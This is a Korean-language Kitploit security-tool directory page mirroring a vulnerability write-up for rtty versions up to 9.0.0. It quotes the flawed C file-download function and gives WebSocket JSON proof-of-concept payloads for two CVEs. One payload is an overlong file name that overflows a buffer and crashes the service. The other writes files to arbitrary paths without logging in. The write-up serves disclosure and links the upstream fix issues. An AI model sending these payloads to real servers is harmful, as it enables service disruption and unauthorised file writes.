Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
rtty_CVE-2025-56708-CVE-2025-56709 — CVE-2025-56708&CVE-2025-56709漏洞详解 | Kitploit
도구/GitHubGitHub/xkaneiki/rtty_cve-2025-56708-cve-2025-56709
Vulnerability AnalysisExploitationWeb Application ExploitationMisconfigurationBinary Exploitation
GitHubxkaneiki/rtty_cve-2025-56708-cve-2025-56709

rtty_CVE-2025-56708-CVE-2025-56709

CVE-2025-56708&CVE-2025-56709漏洞详解

저장소 보기

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
310개월 전아직 검토되지 않음

CVE-2025-56708&CVE-2025-56709

【CVE-2025-56709】savepath 버퍼 오버플로우

취약점 개요

rtty <=v9.0.0 버전에서 fileinfo 메서드에 오버플로우 취약점이 존재합니다. 이 취약점으로 인해 데이터가 전역 변수 savepath에 계속 기록되어 버퍼 오버플로우가 발생합니다.

취약점 분석

savepath는 계속 쓰여질 수 있어 오버플로우를 유발합니다.

  • 【1】name이 실제로 savepath의 메모리 공간을 사용하는 것을 알 수 있습니다.
  • 【2】mount 검사가 통과되지 않으면 check_space_fail 흐름으로 진입합니다.
  • 【3】흐름이 실패를 초래하지만, buffer_pull은 계속해서 name 즉 savepath 공간에 데이터를 추가합니다.
root@kitploit:~
static void start_download_file(struct file_context *ctx, struct buffer *info, int len)
{
    char *name = savepath + strlen(savepath);【1】
    struct mntent *ment;
    struct statvfs sfs;
    char buf[512];
    int fd;

    ctx->total_size = ctx->remain_size = buffer_pull_u32be(info);

    ment = find_mount_point(savepath);
    if (ment) {
        uint64_t avail;

        if (!strcmp(ment->mnt_type, "ramfs")) {
            struct sysinfo si;

            if (sysinfo(&si)) {
                log_err("download file fail: '%s'\n", strerror(errno));
                goto check_space_fail;
            }

            avail = si.freeram;
        } else if (!statvfs(ment->mnt_dir, &sfs)) {
            avail = sfs.f_bavail * sfs.f_frsize;
        } else {
            log_err("download file fail: '%s'\n", strerror(errno));
            goto check_space_fail;
        }

        if (ctx->total_size > avail) {
            log_err("download file fail: no enough space\n");
            goto check_space_fail;
        }
    } else {
        log_err("download file fail: not found mount point of '%s'\n", savepath);
        goto check_space_fail;【2】
    }

    buffer_pull(info, name, len - 4);

    if (!access(savepath, F_OK)) {
        send_file_control_msg(ctx->ctlfd, RTTY_FILE_MSG_ERR_EXIST, NULL, 0);
        log_err("the file '%s' already exists\n", name);
        goto open_fail;
    }

    fd = open(savepath, O_WRONLY | O_TRUNC | O_CREAT, 0644);
    if (fd < 0) {
        send_file_control_msg(ctx->ctlfd, RTTY_FILE_MSG_ERR, NULL, 0);
        log_err("create file '%s' fail: %s\n", name, strerror(errno));
        goto open_fail;
    }

    log_info("download file: %s, size: %u\n", savepath, ctx->total_size);

    if (fchown(fd, ctx->uid, ctx->gid) < 0)
        log_err("fchown %s fail: %s\n", savepath, strerror(errno));

    if (ctx->total_size == 0)
        close(fd);
    else
        ctx->fd = fd;

    memcpy(buf, &ctx->total_size, 4);
    strcpy(buf + 4, name);

    send_file_control_msg(ctx->ctlfd, RTTY_FILE_MSG_INFO, buf, 4 + strlen(name));

    return;

check_space_fail:
    send_file_control_msg(ctx->ctlfd, RTTY_FILE_MSG_NO_SPACE, NULL, 0);
    buffer_pull(info, name, len - 4);【3】
    
open_fail:
    file_context_reset(ctx);
}

취약점 POC

  • WebSocket을 통해 지속적으로 데이터를 보내면 서비스를 중단시킬 수 있습니다 (RCE 가능성도 있음).
root@kitploit:~
{"type":"fileInfo","name":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","size":50}

취약점 수정

https://github.com/zhaojh329/rtty/issues/139

【CVE-2025-56708】인증되지 않은 파일 업로드

취약점 개요

rtty <=v9.0.0 버전에 디렉터리 트래버설 취약점이 존재합니다. 상호작용 프로토콜에서 fileinfo 메서드에 논리적 취약점이 있어, 공격자가 WebSocket을 가로채고 fileinfo 메서드를 호출하여 사용자 로그인 없이 시스템의 임의 경로에 파일을 업로드할 수 있습니다.

취약점 POC

  • WebSocket 프로그램 흐름을 가로채고 fileInfo 메서드를 통해 로그인하지 않은 사용자도 시스템의 임의 디렉터리에 파일을 업로드할 수 있습니다.
  • 마운트 디렉터리 지정
root@kitploit:~
{"type":"fileInfo","name":"home/xk/xxx/xxx/fuck1","size":50}
  • 파일 지정
root@kitploit:~
{"type":"fileInfo","name":"home/xk/xxx/xxxx/test/rtty/rtty/build/src/hello1","size":50}
  • 서버에서 파일 생성 취약점 다이어그램

취약점 수정

https://github.com/zhaojh329/rtty/issues/140

도구 다운로드